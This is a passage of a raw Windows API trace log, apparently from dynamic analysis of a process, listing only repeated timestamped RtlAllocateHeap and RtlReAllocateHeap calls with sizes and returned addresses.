(Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x58) returned 0x8dfb50 [0128.958] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e15f0 [0128.958] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x5c) returned 0x8dfb50 [0128.958] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1610 [0128.958] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x60) returned 0x8dfb50 [0128.958] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1630 [0128.958] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x64) returned 0x8dfb50 [0128.958] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1650 [0128.958] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x68) returned 0x8dfb50 [0128.958] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1670 [0128.958] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x6c) returned 0x8dfb50 [0128.958] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1690 [0128.958] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x70) returned 0x8dfb50 [0128.958] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e16b0 [0128.958] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x74) returned 0x8dfb50 [0128.958] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e16d0 [0128.958] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x78) returned 0x8dfb50 [0128.958] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e16f0 [0128.958] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x7c) returned 0x8dfb50 [0128.958] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1710 [0128.958] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x80) returned 0x8dfb50 [0128.958] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1730 [0128.958] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x84) returned 0x8dfb50 [0128.958] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1750 [0128.958] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x88) returned 0x8dfb50 [0128.958] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1770 [0128.958] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x8c) returned 0x8dfb50 [0128.958] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1790 [0128.959] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x90) returned 0x8dfb50 [0128.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e17b0 [0128.959] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x94) returned 0x8dfb50 [0128.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e17d0 [0128.959] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x98) returned 0x8dfb50 [0128.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e17f0 [0128.959] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x9c) returned 0x8dfb50 [0128.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1810 [0128.959] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0xa0) returned 0x8dfb50 [0128.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1830 [0128.959] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0xa4) returned 0x8dfb50 [0128.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1850 [0128.959] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0xa8) returned 0x8dfb50 [0128.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1870 [0128.959] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0xac) returned 0x8dfb50 [0128.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1890 [0128.959] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0xb0) returned 0x8dfb50 [0128.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e18b0 [0128.959] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0xb4) returned 0x8dfb50 [0128.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e18d0 [0128.959] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0xb8) returned 0x8dfb50 [0128.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e18f0 [0128.959] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0xbc) returned 0x8dfb50 [0128.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1910 [0128.959] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0xc0) returned 0x8dfb50 [0128.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1930 [0128.959] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0xc4) returned 0x8dfb50 [0128.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1950 [0128.959] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0xc8) returned 0x8dfb50 [0128.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1970 [0128.959] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0xcc) returned 0x8dfb50 [0128.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1990 [0128.959] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8da788, Size=0x30) returned 0x8da7f8 [0128.960] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e19b0 [0128.960] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4) returned 0x8dbff8 [0128.960] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e19d0 [0128.960] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dbff8, Size=0x8) returned 0x8dc008 [0128.960] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e19f0 [0128.960] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4) returned 0x8dbff8 [0128.960] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1a30 [0128.960] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dbff8, Size=0x8) returned 0x8dbfe8 [0128.960] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1a50 [0128.960] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dbfe8, Size=0xc) returned 0x8d3880 [0128.960] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1a70 [0128.960] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d3880, Size=0x10) returned 0x8d3838 [0128.960] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1a90 [0128.960] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d3838, Size=0x14) returned 0x8e1ab0 [0128.960] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1ad0 [0128.960] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e1ab0, Size=0x18) returned 0x8e1af0 [0128.960] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1ab0 [0128.960] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e1af0, Size=0x1c) returned 0x8df458 [0128.960] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1af0 [0128.960] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8df458, Size=0x20) returned 0x8df480 [0128.960] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1b10 [0128.960] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8df480, Size=0x24) returned 0x8d8508 [0128.961] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1b30 [0128.961] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d8508, Size=0x28) returned 0x8d8538 [0128.961] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1b50 [0128.961] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d8538, Size=0x2c) returned 0x8da788 [0128.961] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1b70 [0128.961] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8da788, Size=0x30) returned 0x8da7c0 [0128.961] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1b90 [0128.961] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8da7c0, Size=0x34) returned 0x8d99d0 [0128.961] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1bb0 [0128.961] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d99d0, Size=0x38) returned 0x8d9990 [0128.961] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1bd0 [0128.961] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d9990, Size=0x3c) returned 0x8d2278 [0128.961] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1bf0 [0128.961] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d2278, Size=0x40) returned 0x8d2230 [0128.961] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1c10 [0128.961] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d2230, Size=0x44) returned 0x8dfc28 [0128.961] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1c30 [0128.961] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x48) returned 0x8dfc28 [0128.961] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1c50 [0128.961] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x4c) returned 0x8dfc28 [0128.961] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1c70 [0128.961] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x50) returned 0x8dfc28 [0128.961] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1c90 [0128.961] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x54) returned 0x8dfc28 [0128.961] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1cb0 [0128.961] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x58) returned 0x8dfc28 [0128.961] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1cd0 [0128.961] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x5c) returned 0x8dfc28 [0128.961] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1cf0 [0128.961] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x60) returned 0x8dfc28 [0128.961] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1d10 [0128.961] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x64) returned 0x8dfc28 [0128.961] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1d30 [0128.961] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x68) returned 0x8dfc28 [0128.962] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1d50 [0128.962] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x6c) returned 0x8dfc28 [0128.962] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1d70 [0128.962] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x70) returned 0x8dfc28 [0128.962] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1d90 [0128.962] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x74) returned 0x8dfc28 [0128.962] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1db0 [0128.962] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x78) returned 0x8dfc28 [0128.962] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1dd0 [0128.962] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x7c) returned 0x8dfc28 [0128.962] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1df0 [0128.962] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x80) returned 0x8dfc28 [0128.962] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1e10 [0128.962] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x84) returned 0x8dfc28 [0128.962] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1e30 [0128.962] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x88) returned 0x8dfc28 [0128.962] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1e50 [0128.962] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x8c) returned 0x8dfc28 [0128.962] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1e70 [0128.962] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x90) returned 0x8dfc28 [0128.962] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1e90 [0128.962] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x94) returned 0x8dfc28 [0128.962] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1eb0 [0128.962] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x98) returned 0x8dfc28 [0128.962] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1ed0 [0128.962] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x9c) returned 0x8dfc28 [0128.962] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1ef0 [0128.962] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0xa0) returned 0x8dfc28 [0128.962] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1f10 [0128.962] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0xa4) returned 0x8dfc28 [0128.962] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1f30 [0128.963] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0xa8) returned 0x8dfc28 [0128.963] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1f50 [0128.963] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0xac) returned 0x8e2218 [0128.963] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1f70 [0128.963] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0xb0) returned 0x8e2218 [0128.963] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1f90 [0128.963] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0xb4) returned 0x8e2218 [0128.963] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1fb0 [0128.963] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0xb8) returned 0x8e2218 [0128.963] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1fd0 [0128.963] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0xbc) returned 0x8e2218 [0128.963] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1ff0 [0128.963] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0xc0) returned 0x8e2218 [0128.963] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2010 [0128.963] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0xc4) returned 0x8e2218 [0128.963] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2030 [0128.963] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0xc8) returned 0x8e2218 [0128.963] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2050 [0128.963] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0xcc) returned 0x8e2218 [0128.963] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2070 [0128.963] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0xd0) returned 0x8e2218 [0128.963] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2090 [0128.963] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0xd4) returned 0x8e2218 [0128.963] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e20b0 [0128.963] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0xd8) returned 0x8e2218 [0128.963] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e20d0 [0128.963] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0xdc) returned 0x8e2218 [0128.964] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e20f0 [0128.964] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0xe0) returned 0x8e2218 [0128.964] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2110 [0128.964] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0xe4) returned 0x8e2218 [0128.964] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2130 [0128.964] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0xe8) returned 0x8e2218 [0128.964] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2150 [0128.964] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0xec) returned 0x8e2218 [0128.964] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2170 [0128.964] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0xf0) returned 0x8e2218 [0128.964] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2190 [0128.964] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0xf4) returned 0x8e2218 [0128.964] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e21b0 [0128.964] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0xf8) returned 0x8e2218 [0128.964] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e21d0 [0128.964] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0xfc) returned 0x8e2218 [0128.964] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e21f0 [0128.964] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0x100) returned 0x8e2218 [0128.964] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2338 [0128.964] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2218, Size=0x104) returned 0x8e2b20 [0128.964] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2358 [0128.964] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2b20, Size=0x108) returned 0x8e2b20 [0128.964] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2378 [0128.964] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dc008, Size=0xc) returned 0x8d3838 [0128.964] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2398 [0128.964] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4) returned 0x8dc008 [0128.965] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e23b8 [0128.965] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dc008, Size=0x8) returned 0x8dbfe8 [0128.965] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e23d8 [0128.965] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dbfe8, Size=0xc) returned 0x8d3880 [0128.965] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e23f8 [0128.965] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d3880, Size=0x10) returned 0x8d3898 [0128.965] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2418 [0128.965] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d3898, Size=0x14) returned 0x8e2438 [0128.965] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2458 [0128.965] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2438, Size=0x18) returned 0x8e2478 [0128.965] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2438 [0128.965] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2478, Size=0x1c) returned 0x8df480 [0128.965] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2478 [0128.965] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8df480, Size=0x20) returned 0x8df458 [0128.965] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2498 [0128.965] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8df458, Size=0x24) returned 0x8d8538 [0128.965] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e24b8 [0128.965] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d8538, Size=0x28) returned 0x8d8508 [0128.965] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e24d8 [0128.965] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d8508, Size=0x2c) returned 0x8da7c0 [0128.965] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e24f8 [0128.965] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8da7c0, Size=0x30) returned 0x8da788 [0128.965] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2518 [0128.965] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8da788, Size=0x34) returned 0x8d9990 [0128.965] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2538 [0128.965] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d9990, Size=0x38) returned 0x8d99d0 [0128.965] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2558 [0128.965] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d99d0, Size=0x3c) returned 0x8d2230 [0128.965] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2578 [0128.965] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d2230, Size=0x40) returned 0x8d2278 [0128.965] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2598 [0128.966] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d2278, Size=0x44) returned 0x8dfc28 [0128.966] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e25b8 [0128.966] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x48) returned 0x8dfc28 [0128.966] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e25d8 [0128.966] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x4c) returned 0x8dfc28 [0128.966] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e25f8 [0128.966] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x50) returned 0x8dfc28 [0128.966] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2618 [0128.966] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x54) returned 0x8dfc28 [0128.966] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2638 